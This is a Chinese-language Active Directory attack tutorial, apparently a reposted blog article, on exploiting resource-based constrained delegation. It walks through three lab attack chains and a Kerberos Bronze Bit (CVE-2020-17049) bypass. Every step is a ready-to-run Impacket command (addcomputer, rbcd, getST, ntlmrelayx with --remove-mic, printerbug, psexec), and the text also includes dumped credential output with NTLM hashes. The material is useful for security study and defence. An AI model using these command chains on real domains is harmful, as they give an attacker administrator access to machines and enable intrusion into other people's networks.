基于资源约束委派利用

文章目录

        • 序言
        • 基于资源约束委派简介(RBCD)
        • 基于资源约束委派的利用条件
        • 环境介绍
        • 使用Adfind侦查
        • bloodhound查看
        • 利用方式1(拿下目标机器入域的域账号Impacket利用)
        • CVE-2020-17049 Kerberos Bronze Bit+基于资源的约束委派绕过敏感账号限制
        • 利用方式2(Acount Operators组权限滥用进行基于资源约束委派获取目标权限)
        • 利用方式3(Ntlm Relay+打印机bug+基于资源的约束委派拿下目标控制权)
        • 总结

序言

笔者已经写过了非约束委派和约束委派的利用,这篇文章主要是讲解,
基于资源的约束委派利用,对非约束委派和约束委派利用感兴趣的小伙伴,
可以看看我之前写过的文章。

基于资源约束委派简介(RBCD)

基于资源的约束委派是在微软在Windows Server 2012 中加入的,
相较于非约束为委派和约束委派不需要通过具备SeEnableDelegationPrivilege
权限的域管理员进行修改,而是进行了反转了将设置属性的权限给了服务资源本身。
配置了基于资源的约束委派的账户属性有如下变化:
msDS-AllowedToActOnBehalfOfOtherIdentity属性指向委派账户
传统委派与基于资源的约束委派区别如下:
	假设有服务1和服务2,服务1委派到服务2
	1.msDS-AllowedToDelegateTo 属性与
	msDS-AllowedToActOnBehalfOfOtherIdentity 属性的区别:
	传统委派:
		服务1上设置 msDS-AllowedToDelegateTo 属性,
		以指定对服务2上的哪一个服务进行委派。
	基于资源的约束委派:
		服务2上将 msDS-AllowedToActOnBehalfOfOtherIdentity 属性值设为
		服务1的 SID,以允许服务1对服务2上的服务进行委派。
	2.传统委派的ST可以进行转发基于资源的约束委派的ST不可转发:
		传统委派:
			S4u2self 申请到的 ST 票据是可转发的,如果不可转发,
			则后续的 S4U2Proxy 阶段将失败。
		基于资源的约束委派:
			不可转发的 ST 票据仍然可以通过 S4U2Proxy 阶段对其他服务进行委派认证。

基于资源约束委派的利用条件

1.具有对主机修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限
2.可以创建机器账户或已知机器账户
从上述的利用条件可以看到需要有两个条件下面将进行分别讲解。
msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限:
	(1)Account Operator组成员。
	(2)将该主机加入域的用户账户拥有该权限,用户账户中有叫mSDS-CreatorSID属性,
	用于标记加入域时使用的用户账户SID值,可以知道那些用户账户了有具有加入域权限。
	(3)该主机的机器账户。

环境介绍

192.168.126.10	普通域内机器(攻击机DESKTOP-IOFJA89$)
192.168.126.66	域控机器(WIN-CRJVMOIER7V$)
192.168.126.22	基于资源约束委派的测试机(WIN10ZYYSWP$,入域账号test\ziyuan)

使用Adfind侦查

如果不在域的话需要指定 -h X.X.X.X -u user123 -up password123 -b "DC=test,DC=com"
例子:AdFind.exe -h X.X.X.X -u user123 -up password123 -b "DC=test,DC=com" -f "objectClass=computer" mS-DS-CreatorSID
查询方式1:由机器查询入域的账号
查找机器账户的mS-DS-CreatorSID属性(入域账号的SID)
命令:AdFind.exe -f "objectClass=computer" mS-DS-CreatorSID

基于资源约束委派利用_第1张图片

根据域账号SID查询域账号信息:
命令:Adfind.exe -sc adsid:S-1-5-21-380788182-2473631355-2237387945-1114

基于资源约束委派利用_第2张图片

查询方式2:由域账号SID查询入域的机器:
查询的SID:S-1-5-21-380788182-2473631355-2237387945-1114
命令:
	AdFind.exe -f "(&(objectClass=computer)(mS-DS-CreatorSID=S-1-5-21-380788182-2473631355-2237387945-1114))" dn

基于资源约束委派利用_第3张图片

查询方式3:由域账号名称查询入域的机器:
步骤1查询的域账号:ziyuan
	命令:
		Adfind.exe -b DC=test,DC=com -f "(&(objectCategory=person)(objectClass=user)(sAMAccountName=ziyuan))" 

基于资源约束委派利用_第4张图片

步骤2根据查找到的objectSid属性来查询入域的机器:
	objectSid: S-1-5-21-380788182-2473631355-2237387945-1114
	AdFind.exe -f "(&(objectClass=computer)(mS-DS-CreatorSID=S-1-5-21-380788182-2473631355-2237387945-1114))" dn

基于资源约束委派利用_第5张图片

根据域账号ziyuan查询到入域机器WIN10ZYYSWP。

bloodhound查看

基于资源约束委派利用_第6张图片
基于资源约束委派利用_第7张图片

利用方式1(拿下目标机器入域的域账号Impacket利用)

假设在某机器上拿到了ziyuan的域用户NTLM Hash。
Authentication Id : 0 ; 293611 (00000000:00047aeb)
Session           : Interactive from 1
User Name         : ziyuan
Domain            : TEST
Logon Server      : WIN-CRJVMOIER7V
Logon Time        : 2023/2/24 16:17:52
SID               : S-1-5-21-380788182-2473631355-2237387945-1114
        msv :
         [00000003] Primary
         * Username : ziyuan
         * Domain   : TEST
         * NTLM     : 3d9a47d42cb82e0b7cbbaf2b20454e3a
         * SHA1     : c7fd5677da2c87685cb449b90df9618441c81af9
         * DPAPI    : a1b8917763b2f283dbf6f94d1a53a457
        tspkg :
        wdigest :
         * Username : ziyuan
         * Domain   : TEST
         * Password : (null)
        kerberos :
         * Username : ziyuan
         * Domain   : TEST.COM
         * Password : (null)
        ssp :
        credman :

基于资源约束委派利用_第8张图片

支持两种方式创建一种是SAMR协议,另一种是LDAPS协议
利用步骤1 创建机器账号
	创建机器账号mmm123密码password123
	SAMR协议创建机器账号 NTLM Hash:
		python3 addcomputer.py -computer-name 'mmm123' -computer-pass 'password123' -dc-ip 192.168.126.66 'test.com/ziyuan' -hashes 0:3d9a47d42cb82e0b7cbbaf2b20454e3a -method SAMR -debug
	SAMR协议创建机器账号使用明文密码:
		python3 addcomputer.py -computer-name 'mmm123' -computer-pass 'password123' -dc-ip 192.168.126.66 'test.com/hack:Password1234'  -method SAMR -debug
	LDAPS协议创建机器账号 NTLM Hash:
		python3 addcomputer.py -computer-name 'mmm123' -computer-pass 'password123' -dc-ip 192.168.126.66 'test.com/ziyuan' -hashes 0:3d9a47d42cb82e0b7cbbaf2b20454e3a -method LDAPS -debug
	LDAPS协议创建机器账号使用明文密码:
		python3 addcomputer.py -computer-name 'mmm123' -computer-pass 'password123' -dc-ip 192.168.126.66 'test.com/hack:Password1234'  -method LDAPS -debug

基于资源约束委派利用_第9张图片

利用步骤2 Adfnd查询找到新增机器SID
使用Adfind查询新增机器账号mmm123$的sid
命令:AdFind.exe -f "(&(objectClass=computer)(sAMAccountName=mmm123$))" objectSid

基于资源约束委派利用_第10张图片

S-1-5-21-380788182-2473631355-2237387945-1116
利用步骤3 使用rbcd.py脚本修改WIN10ZYYSWP机器账号属性
使用rbcd.py脚本修改WIN10ZYYSWP$的msDS-AllowedToActOnBehalfOfOtherIdentity属性写入mmm123$
	使用明文密码:
	python3 rbcd.py -delegate-to WIN10ZYYSWP$ -delegate-from mmm123$ -dc-ip 192.168.126.66 test/ziyuan:password123 -action write

基于资源约束委派利用_第11张图片

使用NTLM hash:
需要注意LM Hash为空或者被禁用填写为aad3b435b51404eeaad3b435b51404ee:NTLM Hash或者空格:HTLM Hash
0:NTLM Hash这种格式会失败。
	python3 rbcd.py -delegate-to WIN10ZYYSWP$ -delegate-from hack1$ -dc-ip 192.168.126.66 'test/ziyuan' -hashes aad3b435b51404eeaad3b435b51404ee:3d9a47d42cb82e0b7cbbaf2b20454e3a -action write

基于资源约束委派利用_第12张图片

利用步骤4 使用新增机器账号利用getST.py请求目标机器cifs服务的TGS票据
	注意:如果administrator域管账号配置了敏感账号不能被委派不会拿到TGS票据可以利用
	CVE-2020-17049 Kerberos Bronze Bit绕过下面会讲解。
	命令: python3 /home/kali/Desktop/AD/impacket-0.10.0/examples/getST.py -dc-ip 192.168.126.66 -spn cifs/WIN10ZYYSWP.test.com -impersonate administrator 'test.com/mmm123$:password123'

基于资源约束委派利用_第13张图片

利用步骤5 导入TGS票据使用psexec.py或wmiexec.py登录目标机器
	需要注意要使用域内机器的代理才行
	export KRB5CCNAME=administrator.ccache						导入administrator票据
	proxychains python3 psexec.py -k test.com/[email protected] -no-pass -codec gbk

基于资源约束委派利用_第14张图片

CVE-2020-17049 Kerberos Bronze Bit+基于资源的约束委派绕过敏感账号限制

请求的域管账号比如administrator如果配置了敏感账号不能被委派是请求cifs服务票据是会失败的。

基于资源约束委派利用_第15张图片

以Impacker下的getST脚本为例,现在administrator配置了敏感账号如果请求cifs服务票据会出现以下错误。

基于资源约束委派利用_第16张图片

新版本Impacket的getST脚本可以追加-force-forwardable参数自动利用CVE-2020-17049 Kerberos Bronze Bit
进行绕过,下面是演示实例。

基于资源约束委派利用_第17张图片

利用方式2(Acount Operators组权限滥用进行基于资源约束委派获取目标权限)

Acount Operators组成员拥有修改域内除域控外任意主机msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限,
在域渗透的时候该组是需要关注的对象之一。
利用条件:
	1.可以创建机器账号
	2.拥有Acount Operators组成员的用户账号
Adfind侦查:
	adfind.exe -s subtree -b CN="Account Operators",CN=Builtin,DC=test,DC=com member
	发现hacker域账号隶属于Acount Operators组成员

基于资源约束委派利用_第18张图片

Acount Operators组配置:

基于资源约束委派利用_第19张图片

bloodhound侦查:
	搜索ACCOUNT OPERATORS组展示组成员。

基于资源约束委派利用_第20张图片

利用过程说明:
	利用过程基本上与利用方式1一样,只不过账号换成了hacker账号。
	1.拿到hacker域账号权限
	2.创建机器账号
	3.配置目标的机器账号msDS-AllowedToActOnBehalfOfOtherIdentity属性
	4.登录域控获得全域控制权
利用:
	1.在某台机器上抓取到了hacker的NTLM Hash(不是本篇文章重点的内容)
		Authentication Id : 0 ; 462840 (00000000:00070ff8)
		Session           : Interactive from 1
		User Name         : hacker
		Domain            : TEST
		Logon Server      : WIN-CRJVMOIER7V
		Logon Time        : 2023/2/25 12:50:26
		SID               : S-1-5-21-380788182-2473631355-2237387945-1118
		        msv :
		         [00000003] Primary
		         * Username : hacker
		         * Domain   : TEST
		         * NTLM     : 3d9a47d42cb82e0b7cbbaf2b20454e3a
		         * SHA1     : c7fd5677da2c87685cb449b90df9618441c81af9
		         * DPAPI    : 531cf802a7dd2cb9dff8e1d01db36566
		        tspkg :
		        wdigest :
		         * Username : hacker
		         * Domain   : TEST
		         * Password : (null)
		        kerberos :
		         * Username : hacker
		         * Domain   : TEST.COM
		         * Password : (null)
		        ssp :
		        credman :
	2.创建机器账号hacker666$
	python3 addcomputer.py -computer-name 'hacker666' -computer-pass 'password123' -dc-ip 192.168.126.66 'test.com/hacker' -hashes 0:3d9a47d42cb82e0b7cbbaf2b20454e3a -method SAMR -debug

基于资源约束委派利用_第21张图片

	3.配置目标的机器账号msDS-AllowedToActOnBehalfOfOtherIdentity属性
	python3 rbcd.py -delegate-to WIN10ZYYSWP$ -delegate-from hacker666$ -dc-ip 192.168.126.66 'test/hacker' -hashes aad3b435b51404eeaad3b435b51404ee:3d9a47d42cb82e0b7cbbaf2b20454e3a -action write

基于资源约束委派利用_第22张图片

4.获得目标cifs服务票据
python3 /home/kali/Desktop/AD/impacket-0.10.0/examples/getST.py -dc-ip 192.168.126.66 -spn cifs/WIN10ZYYSWP.test.com -impersonate administrator 'test.com/hacker666$:password123'	

基于资源约束委派利用_第23张图片

5.注入票据并使用psexec或wmiexec登录目标
export KRB5CCNAME=administrator.ccache						导入administrator票据
proxychains python3 psexec.py -k test.com/[email protected] -no-pass -codec gbk

基于资源约束委派利用_第24张图片

利用方式3(Ntlm Relay+打印机bug+基于资源的约束委派拿下目标控制权)

利用说明:
	在用于任何AD账号的情况下,可以触发打印机bug使目标服务器回连到攻击者主机,并使用ntlmrelayx工具
	中继到域控的ldap服务配置目标服务器机器账号的msDS-AllowedToActOnBehalfOfOtherIdentity属性,
	从而拿到目标控制权。
利用条件:
	1.拥有域内账号权限
	2.可以创建机器账号
	3.目标开启打印机服务
利用过程:
	1.拿到一个名叫hacker888的普通域成员的权限
	Authentication Id : 0 ; 5664458 (00000000:00566eca)
	Session           : Interactive from 4
	User Name         : hacker888
	Domain            : TEST
	Logon Server      : WIN-CRJVMOIER7V
	Logon Time        : 2023/2/25 13:57:24
	SID               : S-1-5-21-380788182-2473631355-2237387945-1120
	        msv :
	         [00000003] Primary
	         * Username : hacker888
	         * Domain   : TEST
	         * NTLM     : 3d9a47d42cb82e0b7cbbaf2b20454e3a
	         * SHA1     : c7fd5677da2c87685cb449b90df9618441c81af9
	         * DPAPI    : 6be4e4449d97632f1ed31c4201a051d9
	        tspkg :
	        wdigest :
	         * Username : hacker888
	         * Domain   : TEST
	         * Password : (null)
	        kerberos :
	         * Username : hacker888
	         * Domain   : TEST.COM
	         * Password : (null)
	        ssp :
	        credman :
2.使用hacker888创建caixukun123$机器账号
	python3 addcomputer.py -computer-name 'caixukun123' -computer-pass 'password123' -dc-ip 192.168.126.66 'test.com/hacker888' -hashes 0:3d9a47d42cb82e0b7cbbaf2b20454e3a -method SAMR -debug

基于资源约束委派利用_第25张图片

3.攻击机开启到域控Relay的ldap监听
	使用Ntlm Relay工具开启SMB身份验证通过LDAP中继到域控默认情况下,
	SMB中的NTLM身份验证:NEGOTIATE_SIGN为set状态会触发LDAP签名,
	从而导致Relay攻击失败,因此需要将需要将NEGOTIATE_SIGN设置为Not set,
	ntlmrelayx工具可以很方便绕过该MIC校验。
	命令:
		192.168.126.66 域控
		remove-mic 清除MIC标志
		--escalate-user用于提升指定用户权限用于自动提升
		python3 ntlmrelayx.py -t ldap://192.168.126.66 -smb2support --remove-mic --delegate-access --escalate-user caixukun123\$

基于资源约束委派利用_第26张图片

4.使用printerbug.py脚本触发打印机强制认证ntlmrelayx脚本完成自动提权
	printerbug.py触发强制Windows主机通过MS-RPRN RPC接口向攻击者进行身份验证,
	Windows的MS-RPRN协议用于打印客户机和打印服务器之间的通信默认情况下是启用的,
	协议定义的RpcRemoteFindFirstPrinterChangeNotificationEx()调用创建一个
	远程更改通知对象,该对象监视对打印机对象的更改,并将更改通知发送到打印客户端,
	任何经过身份验证的域成员都可以连接到远程服务器的打印服务spoolsv.exe,
	并请求对一个新的打印作业进行更新令其将该通知发送给指定目标,之后它会将立即测试该连接,
	即向指定目标进行身份验证可以选择通过Kerberos或NTLM进行验证,
	另外微软表示这个bug是系统设计特点,无需修复。
	192.168.126.22				要获得控制权的目标
	192.168.126.137				攻击机
	命令:python3 printerbug.py test.com/[email protected] 192.168.126.137 -hashes :3d9a47d42cb82e0b7cbbaf2b20454e3a

基于资源约束委派利用_第27张图片

ntlmrelayx脚本完成自动提权设置:

基于资源约束委派利用_第28张图片

5.使用getST.py申请服务票据
命令:
python3 /home/kali/Desktop/AD/impacket-0.10.0/examples/getST.py -dc-ip 192.168.126.66 -spn cifs/WIN10ZYYSWP.test.com -impersonate administrator 'test.com/caixukun123$:password123'

基于资源约束委派利用_第29张图片

6.导入服务票据使用wmiexec或psexec获取目标控制权
export KRB5CCNAME=administrator.ccache						导入administrator票据
proxychains python3 psexec.py -k test.com/[email protected] -no-pass -codec gbk

基于资源约束委派利用_第30张图片

总结

关于基于资源的约束委派本文章总共说了常用的三种利用方式:
1.Ntlm Relay+打印机bug+基于资源的约束委派拿下目标控制权
2.Acount Operators组权限滥用进行基于资源约束委派获取目标权限
3.拿下目标机器入域的域账号拿下目标控制权
以及一种绕过方式:
1.CVE-2020-17049 Kerberos Bronze Bit+基于资源的约束委派绕过敏感账号限制。
在实战当中基于资源的约束委派用法比较灵活而且是一种比较常用的攻击手法遇到的利用
相比约束委派要多是比较重要的域内攻击手法之一。

你可能感兴趣的:(域安全,安全漏洞,信息安全,网络,运维,系统安全)